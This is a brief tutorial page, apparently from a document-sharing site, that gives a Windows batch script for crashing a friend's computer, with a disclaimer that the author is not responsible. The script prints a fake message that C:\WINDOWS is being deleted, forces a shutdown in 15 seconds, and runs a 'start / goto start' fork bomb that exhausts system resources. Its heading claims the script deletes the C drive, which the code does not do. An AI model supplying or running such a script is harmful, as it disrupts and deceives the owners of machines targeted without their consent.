How to crash friends computer

How to crash a friend’s computer using simple notepad .bat files By following two rules you can crash anyone’s pc Rule 1:- Those who download this document want to tell
them that I am not responsible for any action
they do and they are responsible for it....
Rule 2:- Copy the given code in notepad and then save it as whatever
you want to name but in the end put .bat so that it can become
a batch file and make the save as option all files run it and see
the effect .if you like the document thencomment so I can put
more of the same kind of document. ......
Delete c drive @ECHO OFF
:RunIt
ECHO Deleting "C:\WINDOWS"
Pause
cls
shutdown -s -t 15 -c "C:\WINDOWS\PROGRAMFILES DELETED. REBOOTING..."
:start
start
goto start